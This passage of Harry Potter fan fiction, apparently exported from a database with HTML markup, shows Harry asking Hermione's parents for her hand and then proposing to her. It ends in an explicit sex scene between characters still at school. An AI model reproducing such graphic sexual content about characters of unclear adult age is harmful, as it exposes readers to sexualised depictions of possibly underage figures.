gasped, trying not to laugh\nherself, &#8220;How did the poor boy end up there?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;His brothers got him the job,&#8221; Hermione giggled. &#8220;And we\ntook full advantage of it; he was soaked through and through.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So how was the new medieval show they added this year?&#8221;\nJohn Granger asked, taking a bite of his wife&#8217;s ham.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Again, Harry and Hermione looked at one another, but this\ntime, their eyes were full of love and warmth for each other.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well dad, we were kinda involved in it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you mean?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione and I were chosen to play roles in the\nperformance,&#8221; Harry answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh my, how exciting!&#8221; her mother said happily, &#8220;So what were\nyour parts?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8230;I was a princess,&#8221; her daughter replied as her cheeks\nflushed, &#8220;and Harry was a prince.&nbsp; I had\nbeen kidnapped by an evil lord, and he was supposed to rescue me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two adults began laughing, making the young couple blush\ndeeply.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And did he?&#8221; her mother prodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course, I did!&#8221; Harry interrupted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He came for me &#8211; just as he always does,&#8221; she confirmed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds like you two had quite a day,&#8221; Melinda sighed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It was the best!&#8221; Hermione said with a bright smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dinner proceeded with Harry and Hermione continuing their\nstory about the carnival.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm, that was great, mom!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sat back and stretched.&nbsp; She felt really relaxed, but a few of her muscles were a little\nstiff.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you&#8217;ll excuse me, I have a date with a warm bath.&#8221; Her\neyes flashed towards Harry to see his reaction, but he just gave her a\nhalf-smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">For once, Harry was actually thankful that Hermione was\nleaving the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once he heard water running upstairs, Harry was sure that he\ncould proceed with his plan.&nbsp; He looked\nat Mr. and Mrs. Granger sitting next to and across from him, and a lump formed\nin his throat.&nbsp; He&#8217;d been preparing this\nconversation over and over in his mind for months, but he suddenly forgot it\nall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;May I talk to you two about something?&#8221; he asked quietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Certainly Harry, is something wrong?&#8221; Melinda said\nworriedly, noting the slightly downtrodden look in his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There is something that I wanted to talk about, but I\ndidn&#8217;t want Hermione around when I said it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Now, the two parents knew this was serious.&nbsp; The young couple had been practically joined\nat the hip all summer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you two have a fight?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No ma&#8217;am!&#8221; Harry said emphatically, &#8220;It&#8217;s nothing like that\nat all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then spit it out, lad, we&#8217;re here,&#8221; John stated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wanted to ask you if&#8230;if&#8230;&#8221; Harry steeled himself and\ngathered his nerves, &#8220;&#8230;If I can have your daughter&#8217;s hand?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">John and Melinda sat back and stared at one another in\nshock.&nbsp; Had they just heard him say\nthat?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, correct me if I&#8217;m wrong, but did you just ask\npermission to&#8230;marry Hermione?&#8221;&nbsp; The\nyoung man looked John Granger directly in the eye.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes sir.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I wasn&#8217;t expecting this when I came home tonight.&#8221; He\nlooked at his wife who was just as flustered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aren&#8217;t you a bit young to be doing this, Harry?&#8221; Melinda\nstated and looked at him intently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mrs. Granger, my entire life has been based on who I\nam.&nbsp; I&#8217;m Harry Potter.&nbsp; My relatives despised me, and the wizarding\nworld adores me.&nbsp; It&#8217;s ridiculous.&nbsp; I had no real identity &#8211; until I met\nHermione.&nbsp; She was the one person who\nsaw &#8216;me&#8217; and not my image.&nbsp; I can&#8217;t tell\nyou how wonderful it is to have a friend who likes you for just being yourself.&nbsp; She&#8217;s always been by my side &#8211; no matter\nwhat.&nbsp; That&#8217;s one of the reasons why I\nlove her; she wants &#8216;me&#8217; &#8211; not Harry Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You make a good case, my boy, but I&#8217;m still concerned about\nthis.&nbsp; Neither of you is even finished\nwith school yet,&#8221; John said firmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mr. Granger, I wasn&#8217;t planning to do this right away.&nbsp; I want us both to finish at Hogwarts first &#8211;\nthen we can talk about a date.&nbsp; I know\nthat you can&#8217;t marry someone, and everything falls into place.&nbsp; Both Hermione and I will have to decide what\nwe&#8217;re going to do &#8211; as well where we would live.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I see that you&#8217;ve thought about this quite a bit, Harry, I\nrespect that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you.&nbsp; I swore\nto myself a long time ago that I would always take care of Hermione &#8211; whether\nor not we are together.&nbsp; I want to marry\nher because I love her like I&#8217;ve never loved anyone else.&nbsp; I can&#8217;t promise that our life is going to be\nperfect, but I will do everything in my power to make her happy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">John Granger looked at his wife, and she looked back at\nhim.&nbsp; They were clearly impressed with\nthe maturity that the young man possessed.&nbsp;\nHe&#8217;d been asked to do so much at such a young age, and it had made him\ninto an exemplary person.&nbsp; Melinda\nlooked at her husband, and a soft smile appeared on her face.&nbsp; She could read his eyes clearly, and she\nnodded her head in agreement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry?&#8221; she said softly.&nbsp;\nHe waited nervously for her answer.&nbsp;\nMelinda reached over and took her husband&#8217;s hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You have both our permission and our blessing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The young wizard&#8217;s face lit up, and he let out the breath\nhe&#8217;d been holding for the last minute or so.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you so much!&#8221; he cried as his eyes moistened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Melinda Granger smiled warmly at her future son-in-law.&nbsp; She&#8217;d had an instinct about Harry from the\nmoment she met him.&nbsp; He brought a\nstrength of character with him that few men possessed.&nbsp; Most importantly, he made her daughter\nincredibly happy.&nbsp; Sure they were both\nstill young, but as Harry had said, he didn&#8217;t mind waiting at all.&nbsp; Rising to her feet, the older woman walked\naround the table and kneeled down next to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There&#8217;s one other thing that I want to tell you, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, Mrs. Granger?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Taking the poor boy by complete surprise, she reached out\nand gave him a loving hug &#8211; much as mother would do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Welcome to the family.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At that moment, Harry couldn&#8217;t hold it anymore, and tears\nbegan to slip down his cheeks.&nbsp; Those\nwords were more powerful than any spell he could ever cast.&nbsp; He gently hugged the older woman back, and\nshe tightened her hold on him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you, ma&#8217;am.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Not wanting to embarrass him any further, Melinda let him\ngo.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just remember Harry, you&#8217;ll have to start calling me mom\nsoon,&#8221; she laughed, and he blushed deeply.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The stairs creaked as someone came down, and a moment later,\nHermione came back into the room.&nbsp; Her\nhair was still damp and hung loosely around her shoulders.&nbsp; What made Harry smile was that she was wearing\nher plaid, flannel pajamas; the same ones that he&#8217;d given her; the same ones\nshe&#8217;d worn the first night they were together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, what&#8217;s going on here?&#8221; she asked, seeing her mother\nright next to Harry, and he face still partially red.&nbsp; When no one answered, she put her hands on her hips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mom, what did you do to him?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing sweetie, nothing at all,&#8221; her mother giggled and\nstood back up.&nbsp; Her father started\nchuckling as well, but what really goaded her was when Harry started laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is going on here?&#8221; she demanded with fire in her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing&#8217;s wrong, Herm,&#8221; Harry sighed and looked up at her;\nhis face was practically glowing, &#8220;&#8230;Everything is absolutely perfect.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That left Hermione even more confused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Later that night, Harry was in his room rummaging through\nhis trunk.&nbsp; Finding what he wanted in\nthe back corner, he pulled out the small box and tucked it into his\npocket.&nbsp; Running a hand through his messy\nhair, he took a deep breath to clear his head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;All right, Potter, this is it.&nbsp; It&#8217;s time to ask her.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With his heart pounding a million miles a second and\ndetermination burning in his eyes, Harry quietly walked down towards Hermione&#8217;s\nroom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(161, 11, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stood in front of her bureau combing her hair.&nbsp; She wondered if Harry was going to spend the\nnight with her again.&nbsp; They&#8217;d spent many\nnights in the same bed, but not every night led to heated passion.&nbsp; She remembered several nights of lying next\nto him with her head on his shoulder.&nbsp;\nOne arm would be wrapped around her, and his other hand would be\nentrenched in her hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Knock&#8230;knock&#8230;knock&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;That&#8217;s odd, I thought my parents were already asleep.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When Hermione opened the door, she came face to face with\nHarry&#8217;s green eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi sweetheart, may I come in?&#8221; The question was so absurd\nshe nearly laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course, you can.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry walked inside and shut the door behind him.&nbsp; She was stilling wearing those flannel\npajamas, and they looked wonderful on her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Something wrong?&#8221; she asked, noticing how set his jaw was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing at all&#8230;come here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione accepted his open invitation and stepped into his\narms.&nbsp; He wrapped her securely in his\nembrace and gazed down into her beautiful, brown eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you trust me?&#8221; he asked out of the blue.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excuse me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you trust me?&#8221; he repeated.&nbsp; Hermione could clearly see that something was bothering him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure I trust you, Harry; I trust you with my life!&#8221; She\nwrapped her arms around his neck. &#8220;I trust you with my heart and soul.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That brought a full smile onto his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good, then hang on!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What in bloody&#8230;&#8221; Hermione gasped they suddenly appeared\noutside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She looked down and gulped, seeing that they were now\nfloating several hundred feet above her house.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, are you crazy?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, I just wanted to do something special for you.&nbsp; Look&#8230;&#8221; and he nudged his head upwards.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked up, and the site nearly took her breath\naway.&nbsp; Stars lit up the heavens, and\ntheir celestial light ran down past the horizon itself.&nbsp; The moon was full, and it cast a pale shadow\nover the young lovers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is so beautiful; thank you!&#8221; she nearly cried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry released her slightly and moved back about half a\nstep.&nbsp; He dug into his pocket for what\nhe wanted and took a deep breath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, I brought you up here to ask you something very\nimportant &#8211; about us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is it?&#8221; she asked, seeing the slight nervousness in\nhis eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No matter what, Herm, you&#8217;ve always been there for me;\nyou&#8217;re my angel; and I love you.&nbsp; I\ndon&#8217;t ever want you to leave my side; I don&#8217;t want to know what it&#8217;s like to\nnot have you in my life.&nbsp; I want to be\nwith you forever.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;I&#8230;&#8221; Her eyes began to water at his heartfelt words.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Doing the best he could in midair, Harry bent down on one\nknee and looked up at the girl of his dreams.&nbsp;\nEven in pajamas, she looked perfect.&nbsp;\nHe took hold of her left hand and held up his right palm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I want to ask you, Hermione Granger&#8230;will you&#8230;will you make\nme the happiest man in the world and marry me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It felt like a ten-ton dragon had just been lifted off his\nshoulders, while his girlfriend stood there in shock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;I&#8230;I don&#8217;t know what to say&#8230;except&#8230;&#8221; Tears were\nstreaming down her cheeks, and a string of fear latched onto his heart.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;Yes&#8230;yes, I will marry you, Harry Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Pure joy erupted in the young wizard&#8217;s eyes, and his thumb\ncracked open the small box.&nbsp; Hermione&#8217;s\neyes widened when she saw the beautiful ring inside.&nbsp; Taking it out, he slid the gold band onto her ring finger; it was\nperfect fit.&nbsp; The diamonds that made up\nthe firebird&#8217;s eyes twinkled in the moonlight and reflected in Hermione&#8217;s\nshimmering pools.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s so lovely.&#8221; Harry stood back up to his feet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not nearly as lovely as its owner.&#8221; Taking her face in his\nhands, he kissed her long and hard, and she settled into his strong arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you,&#8221; he whispered against her lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And I love you,&#8221; she answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione laid her head on his chest and clutched the front\nof his shirt.&nbsp; She just couldn&#8217;t believe\nit; Harry had proposed to her; it was her dream come true.&nbsp; She was going to marry Harry&#8230;her Harry&#8230;her\nprotector and her lover.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After floating up the heavens for almost an hour, Harry\nsuggested that they return to the Granger house.&nbsp; His fianc&#233; agreed wholeheartedly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The couple reappeared in Hermione&#8217;s bedroom, and she stepped\nback to admire the ring once again.&nbsp; It\nhad to be solid gold, and she loved the engraving of the firebird on the\nband.&nbsp; Now, she had a ring for both her\nhands &#8211; Harry&#8217;s precious ring and his engagement ring.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Hmm, that must be a phoenix &#8211; just like Harry has.&nbsp; What would her parents say when she told\nthem about this?&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Reality suddenly slammed into her like a jackhammer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh my gosh, I didn&#8217;t even think.&nbsp; What are my parents going to say?&#8221; Harry almost snickered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s so funny?&#8221; He grinned at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetheart, they already know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you serious?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I spoke with them about it earlier this evening while\nyou were in the bath.&nbsp; I asked them for\nyour hand, and they gave me both their permission and their blessing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really, that&#8217;s so wonderful!&#8221; and she hugged him tightly,\n&#8220;Mom&#8217;s gonna go nuts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry suddenly became a bit more solemn.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herm, I was thinking this through, and I thought it might\nbe best if we take our time with this.&nbsp;\nOne of the arguments your parents made is that we&#8217;re both still very\nyoung.&nbsp; I&#8217;d considered that and said\nthat I&#8217;m not just running into this.&nbsp;\nFirst off, I want us both to finish at Hogwarts, and second, I want us\nto plan our future together.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s sound quite logical; I must be rubbing off on you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetheart, I just want to say that I will do everything I\ncan to make you happy.&nbsp; I know that our\nlife isn&#8217;t going to be perfect; nothing&#8217;s ever normal when I&#8217;m around.&nbsp; I don&#8217;t know what could happen in the\nfuture, or if I&#8217;ll have to fight again some day.&nbsp; I just don&#8217;t know, Hermione.&#8221; She could tell that this really\ntroubled him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, nothing in life is perfect.&nbsp; As far as being normal, I wouldn&#8217;t have you\nany other way; you&#8217;re just you.&nbsp;\nWhatever life has ahead for you, I want to be there to help you through\nit.&nbsp; It doesn&#8217;t matter what evil tries\nto destroy us; I won&#8217;t ever leave you, my darling.&#8221; He actually chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;By Merlin, how did I find such an amazing woman to be my\nwife?&#8221; Hermione blushed as he referred to her as his wife.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If memory serves, I believe you met her about seven years\non the Hogwarts Express.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And my life has never been the same since.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She giggled softly and wrapped her arms around him.&nbsp; Harry bent down and captured her lips in a\nhungry kiss.&nbsp; His hands roamed over her\nsensitive flesh, and Hermione came alive under his tender caresses.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221; she sighed as his kisses moved down her neck, &#8220;&#8230;I\nneed you tonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course, sweetheart, I would like nothing more than to\nmake love to my fianc&#233;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your fianc&#233;?&nbsp; I like\nthe sound of that,&#8221; she cooed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good,&#8221; and he shut her up with kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s knowing fingers began unbuttoning her pajama shirt,\nand Hermione smiled softly.&nbsp; Undoing the\nlast one, he parted the material, and it fell to the floor.&nbsp; Harry&#8217;s eyes glazed over at seeing her soft,\nbare skin.&nbsp; Hermione decided to return\nthe favor and pulled off his green t-shirt.&nbsp;\nHer small hands danced down his torso and centered on his pants.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Allow me,&#8221; she cooed and unbuckled his jeans.&nbsp; The heavy material hit the floor a second\nlater.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My turn, angel.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pulled the flannel pants off her hips and down her\nlong legs.&nbsp; Sliding his hands up their\nsmooth silkiness, he approached her final article of clothing.&nbsp; He could feel her tense as his hand rubbed\nagainst her center, and her heat boiled just under the surface.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think you&#8217;re hot for me, sweetheart,&#8221; he teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;More like burning up, love.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then let me help.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry picked her up and laid her down on the mattress.&nbsp; Hermione reached out for him, and he joined\nher a moment later.&nbsp; He rubbed her once\nagain, and a soft moan escaped her lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;please&#8230;don&#8217;t tease me&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Obeying her wishes, he pulled off her underwear and grinned\nwhen her own hands tugged impatiently at his shorts.&nbsp; They joined her panties a moment later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione pulled him down into her arms, and their mouths\nfused together.&nbsp; She felt a hand cup her\nbreast and squeeze ever so gently.&nbsp;\nHarry knew exactly how to touch her.&nbsp;\nHis hips pushed up against hers, and she could feel the tip of his\nhardness against her entrance.&nbsp; Wrapping\nher arms around his neck, she arched towards him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now&#8230;my darling&#8230;inside me now&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;&#8221; he groaned and sank into her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her legs impulsively jerked and scissored around his\nwaist.&nbsp; He drove into her deeply but\ntenderly, drawing out every thrust to its fullest potential.&nbsp; His mouth continued to assault hers while\nhis hands worshipped her perfect breasts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt her body beginning to tremble, and a moment\nlater, she was engulfed in a powerful orgasm.&nbsp;\nShe cried out Harry&#8217;s name and clutched him to her chest.&nbsp; Her lover answered her in tandem, and he\nspent himself inside her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The lovers held each other for a long time, letting their\nhearts speak without words.&nbsp; Harry\nregretfully slipped out of her and moved to lie next to her.&nbsp; Hermione turned on her side and gazed into\nhis emerald pools.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, are we dreaming?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If we are, then life is a dream.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He drew her against his chest, and she burrowed into his\nembrace.&nbsp; With the greatest of ease,\nHarry levitated them off the bed and moved the blankets up around them; then he\ngently set them back down and tucked Hermione into his side.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know, I think I&#8217;m gonna like being married to you,&#8221; she\ngiggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And I&#8217;m sure that I&#8217;ll love being married to the world&#8217;s\nsmartest witch!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Flatterer!&#8221;</p>\n\n<p 